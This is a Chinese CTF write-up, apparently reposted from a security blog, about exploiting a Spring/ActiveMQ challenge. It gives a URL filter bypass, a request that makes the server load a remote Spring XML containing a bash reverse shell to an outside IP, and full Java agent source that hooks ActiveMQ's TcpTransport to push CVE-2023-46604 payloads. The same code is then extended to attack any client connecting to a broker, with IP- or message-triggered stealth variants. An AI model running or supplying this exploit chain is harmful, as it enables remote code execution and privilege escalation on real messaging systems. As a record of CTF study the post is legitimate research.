利用JavaAgent插桩技术扩大攻击面以及反制攻击者

admin 2024年1月29日22:08:20评论18 views1字数 14023阅读46分44秒阅读模式

解题

在赛后才解出的,通过这道题也学习了JavaAgent技术。

绕过Filter

com.example.customer.filter.CustomerFilter#doFilter中有如下过滤器逻辑

  1. String uri = ((HttpServletRequest)request).getRequestURI().replaceAll("/api", "");
            String endpoint = uri.replaceAll("/", "");
            if (endpoint.equalsIgnoreCase("changefood")) {
                response.getWriter().write("Under construction...");
            } else {
                chain.doFilter(request, response);
           }

可以利用url解析特性来绕过,payload如下:

  1. http://192.168.195.128:32821/api;a=b/changefood

利用JavaAgent插桩技术扩大攻击面以及反制攻击者

代码审计 --- SPEL注入RCE

com.example.customer.controller.OrderController#change 代码如下

  1. public String change(@RequestParam String foodServiceClassName, @RequestParam String name) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException {
            Class foodServiceClass;
            try {
                foodServiceClass = Class.forName(foodServiceClassName);
            } catch (ClassNotFoundException var5) {
                foodServiceClass = Class.forName("com.example.customer.service.IronBeefNoodleService");
            }

            this.foodService = (FoodService)foodServiceClass.getDeclaredConstructor(String.class).newInstance(name);
            return "Changed to " + foodServiceClassName + " with name " + name;
        }

这里虽然实例化后会强转FoodService报错,但是SPEL注入发生在实例化时,并不影响攻击。使用以下POC完成这一阶段的攻击:

  1. import requests
    url = "http://192.168.195.128:32821/"
    def change():
        u = url + "api;a=b/changefood"
        r = requests.post(u,{"foodServiceClassName":"org.springframework.context.support.ClassPathXmlApplicationContext","name":"http://8.134.146.39:8000/poc.xml"}).text
        print(r)

    change()

poc.xml

  1. <?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation="
         http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"
    >

        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
                <list>
                        <value>bash</value>
                        <value>-c</value>
                        <value><![CDATA[bash -i >& /dev/tcp/8.134.146.39/6666  0>&1]]></value>
                </list>
            </constructor-arg>
        </bean>
    </beans>

然后获得一个反弹shell,但是/flag没有读权限,需要提权。

从通过Java agent技术控制broker攻击merchant进程提权

通过查看/start.sh可以知道,除了merchant进程,其它进程都是由player普通用户启动的。

利用JavaAgent插桩技术扩大攻击面以及反制攻击者

因此需要攻击merchant进程来达到提权效果,对merchant.jar进行代码审计发现代码量不多,关键代码如下:

  1. public static void main(String[] args) throws JMSException {
            ActiveMQConnectionFactory connectionFactory = new ActiveMQConnectionFactory(args[0]);
            connectionFactory.setTrustedPackages(List.of("com.example.customer.entity"));
            Connection connection = connectionFactory.createConnection();
            connection.start();
            Session session = connection.createSession(false, 1);
            Destination destination = session.createQueue("Orders");
            MessageConsumer consumer = session.createConsumer(destination);
            consumer.setMessageListener((message) -> {
                if (message instanceof TextMessage) {
                    TextMessage textMessage = (TextMessage)message;

                    try {
                        XStream xstream = new XStream(new StaxDriver());
                        xstream.allowTypesByWildcard(new String[]{"com.example.customer.entity.*"});
                        OrderEntity entity = (OrderEntity)xstream.fromXML(textMessage.getText());
                        take(entity, args[1]);
                    } catch (JMSException var5) {
                        var5.printStackTrace();
                    }
                }

            });
            System.out.println("Waiting for messages...");
        }

这里容易让人想到打xstram反序列化,但是看了版本是最新的打不动,于是考虑到这里的consumer连接到broker后一直处于监听状态,activemq的broker和client用的都是一样的序列化和反序列化逻辑,连接到broker的客户端也会受到CVE-2023-46604的影响,但是一般情况下broker向consumer发送的数据并不是我们可以控制的,虽然我们可以通过向Orders队列发送消息的方式和root权限的consumer进行通信,但是无法将command为31的异常消息发送给broker后转发到consumer上。但是因为broker也是player权限启动的,因此有以下两个思路:

  1. 将broker进程杀掉,61616端口起一个恶意服务发送数据给consumer,但是这个过程会造成连接中断。
  2. 使用Java agent技术在broker发送数据处插桩来完成恶意数据的发送,不会照成连接中断。

在使用方法一来尝试时发现consumer并不会在连接中断后自动重连,寄。因此需要使用Java agent来完成攻击。

代码审计 --- 寻找activemq数据交互关键方法

我们需要找到activemq中在每次发送数据给consumer时都会用到的方法,并且在该方法中能调用到socket来发送自定义数据。

org.apache.activemq.transport.tcp.TcpTransport#oneway

  1.     public void oneway(Object command) throws IOException {
            this.checkStarted();
            this.wireFormat.marshal(command, this.dataOut);
            this.dataOut.flush();
        }

在源码中可以看到方法的描述,这个方法负责向单个目标发送内容

利用JavaAgent插桩技术扩大攻击面以及反制攻击者

并且当前连接的socket就存放在this.socket。因此可以通过此处来进行插桩干涉broker和consumer之间的数据交互。

编写agent代码

Java Agent可以做到在jvm启动时或者运行时对指定的类的字节码进行修改并更新,配合ssist可以在方法调用前后插入自定义代码,甚至重新定义整个方法体。以下是针对本题编写的Java agent代码

SocketHook.java

  1. package com.test;

    import java.lang.instrument.Instrumentation;
    import java.util.Base64;
    import java.util.jar.JarFile;

    public class SocketHook {
        public static void agentmain(String agentArg, Instrumentation inst) throws Exception {
            String hookClass = "org.apache.activemq.transport.tcp.TcpTransport";
            String hookMethod = "oneway";
            String targetClass = "org.springframework.context.support.ClassPathXmlApplicationContext";  //需要调用的类,这里只能选择构造方法只接收一个String参数的类
            String arg = "http://8.134.146.39:8000/poc1.xml";  // 传入的参数
            String data = "1f01360000000000000100" + int2hex(targetClass.length(),4) + string2hex(targetClass)  + int2hex(arg.length(),4) + string2hex(arg);
            data = int2hex(data.length()/2,8) + data;
            String base64str = Base64.getEncoder().encodeToString(hex2bytes(data));
            String hookCode = "java.io.OutputStream out = this.socket.getOutputStream();out.flush();" +
                    "out.write(java.util.Base64.getDecoder().decode("" + base64str + ""));" +
                    "out.flush();System.out.println("payload send done!!!");";
            inst.appendToBootstrapClassLoaderSearch(new JarFile("/tmp/x.jar"));  // 需要让启动类加载器找到agent的jar包,否则缺少各种依赖
            SocketTransformer socketTransformer = new SocketTransformer(hookClass,hookMethod,hookCode,true);
            inst.addTransformer(socketTransformer,true);
            Class[] cs = inst.getAllLoadedClasses();
            boolean flag = false;
            for (Class a : cs){
                if (a.getName().equals(hookClass)){
                    flag = true;
                    try {
                        inst.retransformClasses(a);  // 重转换类,因为题目中在我们attach之前就已经加载了org.apache.activemq.transport.tcp.TcpTransport 需要进行重转换才能更新字节码
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            }
        }


        public static String int2hex(int i, int n) {
            if (!= 4 && n != 8) {
                throw new IllegalArgumentException("n should be 4 or 8");
            }
            return String.format("%0" + n + "x", i);
        }

        public static String string2hex(String s) {
            StringBuilder hexString = new StringBuilder();
            for (char ch : s.toCharArray()) {
                hexString.append(String.format("%02x", (int) ch));
            }
            return hexString.toString();
        }
        public static byte[] hex2bytes(String hex) {
            if (hex.length() % 2 != 0) {
                throw new IllegalArgumentException("Hex string must have an even length");
            }

            byte[] bytes = new byte[hex.length() / 2];
            for (int i = 0; i < bytes.length; i++) {
                int index = i * 2;
                int val = Integer.parseInt(hex.substring(index, index + 2), 16);
                bytes[i] = (byte) val;
            }

            return bytes;
        }


    }

SocketTransformer.java

  1. package com.test;

    import javassist.*;
    import java.lang.instrument.ClassFileTransformer;
    import java.security.ProtectionDomain;

    public class SocketTransformer implements ClassFileTransformer {
        private ClassPool classPool;
        private String hookClass;
        private String hookMethod;
        private String hookCode;
        private boolean after;
        public SocketTransformer(String hookClass, String hookMethod, String HookCode,boolean after) throws NotFoundException {
            this.hookClass = hookClass;
            this.hookMethod = hookMethod;
            this.hookCode = HookCode;
            this.classPool = new ClassPool();
            this.classPool.appendClassPath(new LoaderClassPath(this.getClass().getClassLoader()));
            this.classPool.appendClassPath("/opt/apache-activemq/lib/activemq-client-5.17.5.jar"); // 将依赖添加到classpath中,不加这条ssist找不到activemq相关的类
            this.classPool.appendSystemPath();
            this.after = after;
        }

        @Override
        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
                                ProtectionDomain protectionDomain, byte[] classfileBuffer) {
            classPool.appendClassPath(new LoaderClassPath(loader));
            if (className.equals(this.hookClass.replace(".","/"))) {
                try {
                    CtClass ctClass = this.classPool.get(this.hookClass);
                    CtMethod ctMethod = ctClass.getDeclaredMethod(this.hookMethod);
                    if (this.after){
                        ctMethod.insertAfter(this.hookCode);
                    }else {
                        ctMethod.insertBefore(this.hookCode);
                    }
                    byte[] byteCode = ctClass.toBytecode();
                    ctClass.detach();
                    return byteCode;
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
            return null;
        }
    }

在打包为java时需要将依赖一起打包,并且需要在jar包的属性中指定agent类和声明类可以重转换,因为我们是在jvm运行时以attach方式注入agent的,可以参考我使用的pom.xml

  1. <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>

        <groupId>com.test</groupId>
        <artifactId>SocketHook</artifactId>
        <version>1.0-SNAPSHOT</version>


        <properties>
            <maven.compiler.source>11</maven.compiler.source>
            <maven.compiler.target>11</maven.compiler.target>
            <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        </properties>

        <dependencies>
            <!-- 其他依赖项 -->

            <!-- Javassist 依赖项 -->
            <dependency>
                <groupId>org.javassist</groupId>
                <artifactId>javassist</artifactId>
                <version>3.27.0-GA</version> <!-- 使用最新版本 -->
            </dependency>

            <!-- 其他依赖项 -->
        </dependencies>


        <build>
            <plugins>
                <plugin>
                    <groupId>org.apache.maven.plugins</groupId>
                    <artifactId>maven-jar-plugin</artifactId>
                    <version>3.2.0</version> <!-- 使用最新版本 -->
                </plugin>

                <plugin>
                    <artifactId>maven-assembly-plugin</artifactId>
                    <version>3.3.0</version> <!-- 使用最新版本 -->
                    <configuration>
                        <descriptorRefs>
                            <descriptorRef>jar-with-dependencies</descriptorRef>
                        </descriptorRefs>
                        <archive>
                            <manifestEntries>
                                <Agent-Class>com.test.SocketHook</Agent-Class>
                                <Can-Redefine-Classes>true</Can-Redefine-Classes>
                                <Can-Retransform-Classes>true</Can-Retransform-Classes>
                            </manifestEntries>
                        </archive>
                    </configuration>
                    <executions>
                        <execution>
                            <id>make-assembly</id>
                            <phase>package</phase>
                            <goals>
                                <goal>single</goal>
                            </goals>
                        </execution>
                    </executions>
                </plugin>
            </plugins>
        </build>

    </project>

难绷的是在题目环境中找不到tools.jar,因此使用第三方工具将agent给attach上去,推荐使用jattach

GitHub - jattach/jattach: JVM Dynamic Attach utilityhttps://github.com/jattach/jattach

hook broker对consumer进行攻击 --- 完成提权

先将jattach 和 agent的jar包放在远程服务器上,然后在题目环境使用curl进行下载,然后使用以下命令进行agent的attach,完成攻击.

  1. chmod +./jattach
    ./jattach 42 load instrument false /tmp/x.ajr

要注意的是jar包在SocketHook.java中已经硬编码了,所以这里的文件名一定要一致。

利用JavaAgent插桩技术扩大攻击面以及反制攻击者

返回码是0时代表attch成功,为100时代表找不到指定的jar包,102时代表agentmain里面出现了异常并且没有做异常处理。attach后等待他们之间进行一次通信,即可完成攻击,consumer和broker会每几秒钟进行一次keep,来检测对端是否还能能正常处理数据,因此在keep的时候就会触发攻击,完成反弹shell

利用JavaAgent插桩技术扩大攻击面以及反制攻击者

利用JavaAgent插桩技术扩大攻击面以及反制攻击者

扩展activemq CVE-2023-46604的攻击面

春秋杯的题目实验中,已经完成了对consumer的攻击,在上面的结构上,我们再新建一个consumer进行连接,发现连接时也会触发RCE,因此注入agent后可以对任何连接该broker的consumer都可以进行RCE,并且我们可以选择只对某些IP或者接收到某些消息后再发送恶意数据,提高隐蔽性。

对仅对某些IP进行攻击

将hookCode改为

  1. String hookCode = "if (this.socket.getRemoteSocketAddress().toString().contains("192.168.195.66")){java.io.OutputStream out = this.socket.getOutputStream();out.flush();" +
                    "out.write(java.util.Base64.getDecoder().decode("" + base64str + ""));" +
                    "out.flush();System.out.println("payload send done!!!");}";

在发送某些内容时在进行RCE

将hookCode改为

  1. String hookCode = "if (command.toString().contains("xxx")){java.io.OutputStream out = this.socket.getOutputStream();out.flush();" +
                    "out.write(java.util.Base64.getDecoder().decode("" + base64str + ""));" +
                    "out.flush();System.out.println("payload send done!!!");}";

然后向指定的队列发送xxx,当broker进行转发时检测到相关内容后会进行恶意数据的发送来RCE

反制思路

从上面的实验中做到了可以RCE任何连接到该broker的客户端,再来看看网上使用的CVE-2023-46604的POC

  1. package com.example;

    import org.apache.activemq.ActiveMQConnection;
    import org.apache.activemq.ActiveMQConnectionFactory;
    import org.apache.activemq.command.ExceptionResponse;
    import org.springframework.context.support.ClassPathXmlApplicationContext;

    import javax.jms.Connection;


    public class ExceptionResponseExploit {

        public static void main(String[] args) throws Exception {

            ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory("tcp://192.168.195.128:32824");

            Connection connection = factory.createConnection();
            connection.start();


            Exception obj2 = new ClassPathXmlApplicationContext("http://127.0.0.1:8080/poc.xml");

            ExceptionResponse response = new ExceptionResponse(obj2);

            response.setException(obj2);

            ((ActiveMQConnection)connection).getTransportChannel().oneway(response);

            connection.close();

        }

    }

通过控制恶意数据包发送的时机,也会触发RCE,从而在攻击者的设备上执行任意命令,拿来作为蜜罐也是一个不错的选择。

原文始发于微信公众号(山石网科安全技术研究院):利用JavaAgent插桩技术扩大攻击面以及反制攻击者

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月29日22:08:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用JavaAgent插桩技术扩大攻击面以及反制攻击者https://cn-sec.com/archives/2433982.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息